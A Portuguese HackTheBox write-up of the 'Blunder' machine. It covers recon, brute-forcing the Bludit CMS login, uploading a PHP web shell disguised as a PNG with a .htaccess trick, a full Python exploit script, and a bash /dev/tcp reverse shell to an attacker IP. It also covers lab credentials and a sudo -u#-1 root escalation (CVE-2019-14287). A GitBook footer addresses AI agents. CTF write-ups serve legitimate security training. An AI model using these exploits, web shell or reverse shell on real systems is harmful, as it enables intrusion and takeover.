> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/blunder-hackthebox-writeup.md).

# Relato do HackTheBox Blunder

{% embed url="<https://app.hackthebox.com/machines/Blunder>" %}

{% hint style="warning" %}
**Habilidades:**

* Exploração do CMS Bludit
* Burlando bloqueio de IP (cabeçalho X-Forwarded-For)
* Upload de arquivo de imagem com traversal de diretório (brincando com .htaccess)
* Abusando do privilégio sudo (CVE-2019-14287)
  {% endhint %}

## Reconhecimento

**Configuração do ambiente de trabalho:**

Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

<figure><img src="/files/c83a25dcafbcd48fcd9cf29b30afc61a397f30bc" alt="" width="563"><figcaption></figcaption></figure>

**Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

<figure><img src="/files/71e82cfa592e4ae752e5da08969d8d7b08730a1e" alt="" width="563"><figcaption></figcaption></figure>

**Descoberta de portas abertas com Nmap:**

Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.10.191 -oG allPorts
```

<figure><img src="/files/164abc37901ea897bc61942b3b973ab3556f0da8" alt=""><figcaption></figcaption></figure>

**Análise de portas abertas com extractPorts:**

Use a função extractPorts para exibir as portas abertas em um formato conciso e copiá-las para a área de transferência (80)

<figure><img src="/files/9a52dc29fa12d6a43470dac534c194587229b000" alt="" width="563"><figcaption></figcaption></figure>

Varredura de versões de portas com Nmap:

Use o Nmap para verificar as versões dos serviços e salvar a saída no arquivo "targeted":

```bash
nmap -sCV -p80 10.10.10.191 -oN targeted
```

<figure><img src="/files/a0f00949d15c661161415478c2ebfa1d9291dac2" alt=""><figcaption></figcaption></figure>

Para resolver nomes de domínio em endereços IP via DNS, inserimos o nome de domínio associado ao seu endereço IP no `/etc/hosts` arquivo:

<figure><img src="/files/7424db74f77b8e0b88d631ee99e42df2514b650e" alt=""><figcaption></figcaption></figure>

## Porta 80 (Blunder):

<figure><img src="/files/d990d82a60977ffb33a8e702d3d31ec8cad7df92" alt=""><figcaption></figcaption></figure>

**Varredura de diretórios**

Use **Gobuster** para encontrar diretórios interessantes:

```bash
gobuster dir -u http://blunder.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

* Resultado: Descoberta do **/admin** diretório.

<figure><img src="/files/9841b4b54ceeceb53b2a2bd4d499b10e911b6169" alt=""><figcaption></figcaption></figure>

**Identificação do CMS**

Ao acessar **/admin**, o CMS Bludit (versão **3.9.2**) é detectado.

<figure><img src="/files/0438ebbfb6bb5dd1a58e9b2685abef6027fa618a" alt="" width="360"><figcaption></figcaption></figure>

## **Exploração do CMS Bludit**

<figure><img src="/files/4cb9627553b653d8bbe412e1bb45d75f72b148b6" alt=""><figcaption></figcaption></figure>

**Buscar vulnerabilidades**

Use `searchsploit` para encontrar vulnerabilidades conhecidas:

<figure><img src="/files/cca4676b1c09588cc53e08caa0cf7f2b4c6fbde9" alt=""><figcaption></figcaption></figure>

#### Vulnerabilidade detectada: **CVE-2019-17240**

{% hint style="info" %}
O exploit tem como objetivo explorar uma vulnerabilidade na mitigação de ataques de força bruta no Bludit, uma plataforma CMS (Content Management System). A vulnerabilidade, identificada como **CVE-2019-17240**, permite que um invasor contorne as proteções contra ataques de força bruta implementadas em versões do Bludit anteriores ou iguais à 3.9.2.
{% endhint %}

`searchsploit -m php/webapps/48942.py`

**Arquivo de texto encontrado**

Realize uma pesquisa adicional com o Gobuster:

```bash
gobuster dir -u http://blunder.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -x php,txt,html
```

<figure><img src="/files/a373d509740d93fa23cd90b3f93ef6c6b340b843" alt=""><figcaption></figcaption></figure>

Conteúdo: Usuário identificado: **fergus**.

<figure><img src="/files/f190445054b5e5ea8baf7c8aa5d49b7f7019ff36" alt="" width="375"><figcaption></figcaption></figure>

### Força bruta no Bludit

Assim que o usuário **fergus** for descoberto, use um dicionário para lançar um ataque de força bruta:

```bash
python3 exploit.py -l http://blunder.htb/admin/ -u user.txt -p password.txt
```

Nenhuma correspondência encontrada para o arquivo **rockyou.txt**.

### **Dicionário personalizado**

Use **Cewl** para gerar um dicionário com base no site:

```bash
cewl -u http://blunder.htb/ -w password.txt
```

<figure><img src="/files/0c0757b3fc28cd14787af78c93888b8bb27f570a" alt="" width="563"><figcaption></figcaption></figure>

Reinicie o ataque de força bruta com o dicionário personalizado:

<figure><img src="/files/29a4e109afedf5e4730345d5adc6597648e2effd" alt=""><figcaption></figcaption></figure>

* Senha encontrada: `fergus:RolandDeschain`

<figure><img src="/files/cd0661c838d7461d365d02c9beb05732751fc15d" alt=""><figcaption></figcaption></figure>

## Exploração de upload de arquivo de imagem com traversal de diretório:

Após a autenticação, este CMS é vulnerável a um **traversal de diretório** ataque do tipo, permitindo o upload de arquivos maliciosos.

{% embed url="<https://github.com/bludit/bludit/issues/1081>" %}

{% hint style="info" %}
Podemos especificar o local do arquivo baixado alterando o valor de `uuid` e então enviar uma imagem maliciosa para a pasta temporária.
{% endhint %}

Após a autenticação, é possível baixar um novo exploit por meio de `searchsploit` em `multiple/webapps/48701.txt`, que fornece os passos para explorar essa vulnerabilidade.

<figure><img src="/files/4b5ac8fdd3f3fa99f671e8bbbabe7ea1bfc75e28" alt=""><figcaption></figcaption></figure>

**Passos de operação**

<figure><img src="/files/b454274894bdfca7322d3b3194a41cea13e0177e" alt=""><figcaption></figcaption></figure>

1. **Crie um arquivo malicioso** (`evil.png`) contendo código PHP:

```bash
<?php
system($_GET['cmd']);
?>
```

2. **Modifique o script para adaptá-lo à situação** (endereço IP da vítima, nome de usuário, senha, etc.).

<figure><img src="/files/426e951f32610279de24282160c91ad0042788b9" alt="" width="563"><figcaption></figcaption></figure>

3. **Execute o exploit:**

Script Python de exploração :

```python
#!/usr/bin/env python3

import requests
import re
import argparse
import random
import string
import base64
from requests.exceptions import Timeout

url = 'http://blunder.htb/admin'  # ALTERE-ME
username = 'fergus'  # ALTERE-ME
password = 'RolandDeschain'  # ALTERE-ME

# msfvenom -p php/reverse_php LHOST=127.0.0.1 LPORT=53 -f raw -b '"' > evil.png
# echo -e "<?php $(cat evil.png)" > evil.png
payload = 'evil.png'  # CRIE-ME

#echo "RewriteEngine off" > .htaccess
#echo "AddType application/x-httpd-php .png" >> .htaccess
payload2 = '.htaccess'  # CRIE-ME

def login(url,username,password):
    """ Faça login com as credenciais de administrador fornecidas e capture o cookie após a autenticação """

    session = requests.Session()
    login_page = session.get(url + "/admin/")
    csrf_token = re.search('input.+?name="tokenCSRF".+?value="(.+?)"',
                           login_page.text
                 ).group(1)
    cookie = ((login_page.headers["Set-Cookie"]).split(";")[0].split("=")[1])
    data = {"save":"",
            "password":password,
            "tokenCSRF":csrf_token,
            "username":username}
    headers = {"Origin":url,
               "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
               "Upgrade-Insecure-Requests":"1",
               "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0",
               "Connection":"close",
               "Referer": url + "/admin/",
               "Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3",
               "Accept-Encoding":"gzip, deflate",
               "Content-Type":"application/x-www-form-urlencoded"
    }
    cookies = {"BLUDIT-KEY":cookie}
    response = session.post(url + "/admin/",
                            data=data,
                            headers=headers,
                            cookies=cookies,
                            allow_redirects = False
               )

    print("cookie: " + cookie)
    return cookie

def get_csrf_token(url,cookie):
    """ Capture o token CSRF de uma sessão autenticada """

    session = requests.Session()
    headers = {"Origin":url,
               "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
               "Upgrade-Insecure-Requests":"1",
               "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0",
               "Connection":"close",
               "Referer":url + "/admin/",
               "Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3",
               "Accept-Encoding":"gzip, deflate"}
    cookies = {"BLUDIT-KEY":cookie}
    response = session.get(url + "/admin/dashboard",
                           headers=headers,
                           cookies=cookies
               )
    csrf_token = response.text.split('var tokenCSRF = "')[1].split('"')[0]

    print("csrf_token: " + csrf_token)
    return csrf_token

def upload_evil_image(url, cookie, csrf_token, payload, override_uuid=False):
    """ Envie os arquivos necessários para executar PHP a partir de arquivos de imagem maliciosos. Payload e .htaccess """

    session = requests.Session()
    files= {"images[]": (payload,
                         open(payload, "rb"),
                         "multipart/form-data",
                         {"Content-Type": "image/png", "filename":payload}
                        )}
    if override_uuid:
        data = {"uuid": "../../tmp/temp",
                "tokenCSRF":csrf_token}
    else:
        # Na aplicação vulnerável, esta linha aparece primeiro:
        # Filesystem::mv($_FILES['images']['tmp_name'][$uuid], PATH_TMP.$filename);
        # Embora haja uma verificação de extensão de arquivo, isso não vai realmente nos impedir
        # de enviar o arquivo .htaccess.
        data = {"tokenCSRF":csrf_token}
    headers = {"Origin":url,
               "Accept":"*/*",
               "X-Requested-With":"XMLHttpRequest",
               "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0",
               "Connection":"close",
               "Referer":url + "/admin/new-content",
               "Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3",
               "Accept-Encoding":"gzip, deflate",
    }
    cookies = {"BLUDIT-KEY":cookie}
    response = session.post(url + "/admin/ajax/upload-images", data=data, files=files, headers=headers, cookies=cookies)
    print("Enviando payload: " + payload)

if __name__ == "__main__":
    cookie = login(url, username, password)
    token = get_csrf_token(url, cookie)
    upload_evil_image(url, cookie, token, payload, True)
    upload_evil_image(url, cookie, token, payload2)
```

<figure><img src="/files/6575c16753c9978aad22a6974ddec9d1c0c1def6" alt="" width="563"><figcaption></figcaption></figure>

4. **Acesse o arquivo malicioso**: depois que a imagem tiver sido baixada, basta ir para `/bl-content/tmp/temp/evil.png` para executar comandos.

<figure><img src="/files/84d992cc31dff9c03605a1360102b07e55471f97" alt="" width="552"><figcaption></figcaption></figure>

5. **Escute na porta 443 com Netcat**:

```bash
nc -nvlp 443
```

5. **Execute uma reverse shell**:

```bash
bash -c "bash -i >%26 /dev/tcp/10.10.14.2/443 0>%261"
```

<figure><img src="/files/07f10e688cb32f6d97a37a10533f90febf0c9a75" alt="" width="563"><figcaption></figcaption></figure>

**Gerenciamento de sessão do terminal** :

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## Escalada de privilégios

Explorar os arquivos revela um arquivo `users.php` no `bancos de dados` pasta contendo credenciais em hash dos usuários `fergus` e `admin`:

`admin:bfcc887f62e36ea019e3295aafb8a3885966e265`

`fergus:be5e169cdf51bd4c878ae89a0a89de9cc0c9d8c7`

<figure><img src="/files/7fdc6b6d6aaac500feebd574454e61cecc9da55a" alt=""><figcaption></figcaption></figure>

Ao usar o CrackStation para tentar quebrar esses hashes, parece que eles não são reconhecidos.

<figure><img src="/files/5eabe4582b3521b80a8ebef1d8add1ecc7ea0230" alt=""><figcaption></figcaption></figure>

No entanto, na raiz do site, é encontrada uma versão mais recente do Bludit, contendo os mesmos arquivos de configuração, mas com credenciais diferentes:

<figure><img src="/files/b946af0454829501f5c983dc7d7f663bb7c93ef5" alt="" width="497"><figcaption></figcaption></figure>

* **hugo** : `faca404fd5c0a31cf1897b823c695c85cffeb98d`

<figure><img src="/files/38a09bdb5c2e0284c7c4835945a97686b241b758" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/55c355c1aedcfaf80fe1c0dea724e09d2a81c9ea" alt=""><figcaption></figcaption></figure>

`hugo:Password120`

<figure><img src="/files/59ce3565f221db3b29e7bfc2487eaeae360c4ba8" alt="" width="563"><figcaption></figcaption></figure>

### Flag user.txt:

<figure><img src="/files/4e0adff19bc23a20b64b44ea3bbfbfa39878cd41" alt="" width="563"><figcaption></figcaption></figure>

### Abusando do privilégio sudo (CVE-2019-14287):

Ao examinar os privilégios sudo, descobrimos uma configuração vulnerável no arquivo sudoers. Usando o `sudo -l` comando, identificamos um privilégio que permite que todos os usuários, exceto `root` façam login com o `/bin/bash` comando:

<figure><img src="/files/3e72b97a60df166f2686659daec13b6aa5c09651" alt=""><figcaption></figcaption></figure>

{% embed url="<https://www.exploit-db.com/exploits/47502>" %}

Esta vulnerabilidade afeta todas as versões do sudo anteriores à versão 1.8.27.

No nosso caso, a versão do sudo é inferior a 1.8.27, o que torna essa vulnerabilidade explorável.

<figure><img src="/files/0d8d7d6f97df460cc9803621ac70f89307e16a72" alt="" width="510"><figcaption></figcaption></figure>

Para explorar essa vulnerabilidade, basta executar o seguinte comando:

```bash
sudo -u#-1 /bin/bash
```

Este comando permite executar um shell como o usuário `-1`, que corresponde ao usuário `root`.

<figure><img src="/files/59bd9b52931dc0980bafd7be92170b335433b8fb" alt="" width="563"><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="/files/21368f5f728c021b27dfca2df3a1dc0f1fd73d45" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/88847c49df8a0a76af350e2c0e916176d70c1c91" alt="" width="532"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/blunder-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.